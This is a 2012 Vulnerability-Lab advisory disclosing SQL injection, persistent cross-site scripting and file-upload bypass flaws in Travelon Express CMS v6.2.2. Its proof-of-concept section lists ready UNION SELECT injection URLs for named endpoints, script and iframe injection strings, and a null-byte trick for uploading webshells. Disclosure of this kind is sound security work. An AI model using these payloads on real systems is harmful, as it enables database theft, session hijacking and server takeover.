224 lines
No EOL
7.5 KiB
Text
224 lines
No EOL
7.5 KiB
Text
Title:
|
|
======
|
|
Travelon Express CMS v6.2.2 - Multiple Web Vulnerabilities
|
|
|
|
|
|
Date:
|
|
=====
|
|
2012-05-10
|
|
|
|
|
|
References:
|
|
===========
|
|
http://www.vulnerability-lab.com/get_content.php?id=530
|
|
|
|
|
|
VL-ID:
|
|
=====
|
|
530
|
|
|
|
|
|
Common Vulnerability Scoring System:
|
|
====================================
|
|
8.1
|
|
|
|
|
|
Introduction:
|
|
=============
|
|
Travelon Xpress 6.2.2 is an exclusive product created for all travel agencies across the globe.
|
|
The script is coded in PHP/ MySQL and is highly customizable by the admin.
|
|
|
|
Feature(s):
|
|
|
|
No Encryption.
|
|
No Callback.
|
|
Book domestic flights.
|
|
Book international flights.
|
|
Book domestic hotels.
|
|
Book international hotels.
|
|
Search by country/city
|
|
Vacation package listing.
|
|
Different price range for different luxury level.
|
|
Online payment system.
|
|
Unlimited images of hotels.
|
|
Hotel room description for different luxury level.
|
|
Hotel room facilities.
|
|
Different price for business and economy class flights.
|
|
Different price for different age group.
|
|
Advanced holiday package listing.
|
|
Unlimited image upload for holiday places.
|
|
Holiday plan for each day of vacation.
|
|
Price difference for different places.
|
|
Price difference for deluxe and standard class.
|
|
Add/edit/delete hotels.
|
|
Add/edit/delete hotel rooms.
|
|
Add/edit/delete airlines.
|
|
Add/edit/delete flights.
|
|
Add/edit/delete holiday packages.
|
|
Booking approval by admin.
|
|
Unlimited number of custom page category.
|
|
Unlimited number of custom pages.
|
|
Unlimited number of FAQ category.
|
|
Unlimited number of FAQ.
|
|
Custom pages for about us, terms and privacy policy.
|
|
Display banner for advertise.
|
|
Cancel booking by user/admin.
|
|
Refund request approved by admin.
|
|
Template based design.
|
|
Ajax based interface.
|
|
|
|
(Copy of the Vendor Homepage: http://itechscripts.com/travelon_xpress.html )
|
|
|
|
|
|
Abstract:
|
|
=========
|
|
The Vulnerability Laboratory Research Team discovered multiple Web Vulnerabilities in Travelon Express CMS v6.2.2.
|
|
|
|
|
|
Report-Timeline:
|
|
================
|
|
2012-05-10: Public or Non-Public Disclosure
|
|
|
|
|
|
Status:
|
|
========
|
|
Published
|
|
|
|
|
|
Exploitation-Technique:
|
|
=======================
|
|
Remote
|
|
|
|
|
|
Severity:
|
|
=========
|
|
Critical
|
|
|
|
|
|
Details:
|
|
========
|
|
1.1
|
|
Multiple remote SQL Injection vulnerabilities are detected in Travelon Express CMS v6.2.2. The vulnerability
|
|
allows an attacker (remote) or local low privileged user account to inject/execute own sql commands on the
|
|
affected application dbms. Successful exploitation of the vulnerability results in dbms & application compromise.
|
|
The vulnerabilities are located on the application values, parameter & requests of hid, cid, id & fid.
|
|
|
|
Vulnerable Module(s):
|
|
[+] holiday.php?hid
|
|
[+] pages.php?id
|
|
[+] holiday_book.php?hid
|
|
[+] admin/airline-edit.php?fid
|
|
[+] admin/customer-edit.php?cid
|
|
|
|
1.2
|
|
Multiple persistent input validation vulnerabilities are detected in Travelon Express Version 6.2.2. The bugs
|
|
allow remote attackers to implement/inject malicious script code on the application side (persistent). Successful
|
|
exploitation of the vulnerability can lead to session hijacking (manager/admin) or stable (persistent) context
|
|
manipulation. Exploitation requires low user inter action & privileged user account.
|
|
|
|
Vulnerable Module(s):
|
|
[+] holiday_add.php - holiday name
|
|
[+] holiday_view.php- holiday name
|
|
|
|
1.3
|
|
An arbitrary file upload vulnerability is detected in Travelon Express Version 6.2.2. The vulnerability allows an
|
|
the privileged attacker(admin rights) to upload malicious files (webshells). The attacker can upload .php .exe .asp
|
|
files to the web server. Successful exploitation of the vulnerability can lead to web shell or malicious program
|
|
uploads. Exploitation requires privileged user account. An attacker can upload 2 filename extensions with %00 and
|
|
delete the last part to execute the file code.
|
|
|
|
|
|
Vulnerable Module(s):
|
|
[+] airline-edit.php?fid
|
|
[+] hotel-image-add.php
|
|
[+] hotel-add.php
|
|
|
|
|
|
Proof of Concept:
|
|
=================
|
|
1.1
|
|
The sql injection vulnerabilities can be exploited by remote attacker without required user inter action.
|
|
2 of the vulnerabilities are located on the control panel. To exploit both its required to have privileged
|
|
application accounts like moderator, super mod or administrator. For demonstration or reproduce ...
|
|
|
|
PoC:
|
|
/holiday.php?hid=2[-2+union+select+1,2,3,group_concat(table_name),5,6,7,8+from+information_schema.tables+where+table_schema=database()--%20-]
|
|
/pages.php?id=1[-2+union+select+1,2,3,group_concat(table_name),5,6,7,8+from+information_schema.tables+where+table_schema=database()--%20-]
|
|
/holiday_book.php?hid=1[-2+union+select+1,2,3,group_concat(table_name),5,6,7,8+from+information_schema.tables+where+table_schema=database()--%20-]
|
|
|
|
/admin/airline-edit.php?fid=1[-2+union+select+1,2,3,group_concat(table_name),5,6,7,8+from+information_schema.tables+where+table_schema=database()--%20-]
|
|
/admin/customer-edit.php?cid=1[-2+union+select+1,2,3,group_concat(table_name),5,6,7,8+from+information_schema.tables+where+table_schema=database()--%20-]
|
|
|
|
|
|
1.2
|
|
The persistent input validation vulnerabilities can be exploited by remote attackers with low required
|
|
user inter action & privileged user account. For demonstration or reproduce ...
|
|
|
|
PoC:
|
|
admin/holiday_add.php - holiday name
|
|
admin/holiday_view.php- holiday name
|
|
|
|
holiday name => Insert the following test strings & save the input ...
|
|
|
|
>“<ScriPt>ALeRt("VlAb")</scriPt>
|
|
>"<IfRaMe sRc=hTtp://vulnerability-lab.com></IfRaMe>
|
|
|
|
... now switch to the listing & output page of the holidayname were it is getting executed out of the context.
|
|
|
|
|
|
1.3
|
|
The file upload bypass vulnerability can be exploited by remote attackers with privileged user account.
|
|
For demonstration or reproduce ...
|
|
|
|
PoC:
|
|
admin/airline-edit.php?fid
|
|
admin/hotel-image-add.php
|
|
admin/hotel-add.php
|
|
|
|
Reference(s):
|
|
http://travelon.xxx.com/upload/holiday/hi9223test.php
|
|
|
|
|
|
Risk:
|
|
=====
|
|
1.1
|
|
The security risk of the sql injection vulnerabilities are estimated as critical.
|
|
|
|
1.2
|
|
The security risk of the persistent input validation vulnerabilities are estimated as medium.
|
|
|
|
1.3
|
|
The security risk of the arbitrary file upload vulnerability is estimated as medium(-).
|
|
|
|
|
|
Credits:
|
|
========
|
|
Vulnerability Research Laboratory - the_storm (the_storm@vulnerability-lab.com) [iel-sayed.blogspot.com]
|
|
|
|
|
|
Disclaimer:
|
|
===========
|
|
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
|
|
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
|
|
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
|
|
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
|
|
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
|
|
may not apply.
|
|
|
|
Domains: www.vulnerability-lab.com - www.vuln-lab.com
|
|
Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com
|
|
Contact: admin@vulnerability-lab.com - support@vulnerability-lab.com - irc.vulnerability-lab.com
|
|
|
|
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
|
|
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of
|
|
other media, are reserved by Vulnerability-Lab Research Team or its suppliers.
|
|
|
|
Copyright © 2012 Vulnerability-Lab
|
|
|
|
|
|
|
|
|
|
--
|
|
VULNERABILITY RESEARCH LABORATORY TEAM
|
|
Website: www.vulnerability-lab.com
|
|
Mail: research@vulnerability-lab.com |